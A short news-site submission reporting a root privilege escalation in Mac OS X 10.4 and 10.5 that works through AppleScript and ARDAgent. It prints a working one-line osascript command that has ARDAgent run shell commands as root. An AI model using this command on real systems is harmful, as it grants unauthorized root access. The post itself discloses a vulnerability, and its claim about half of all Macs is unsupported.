
Submission + - Mac OS X root escalation through AppleScript
An anonymous reader writes: Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not.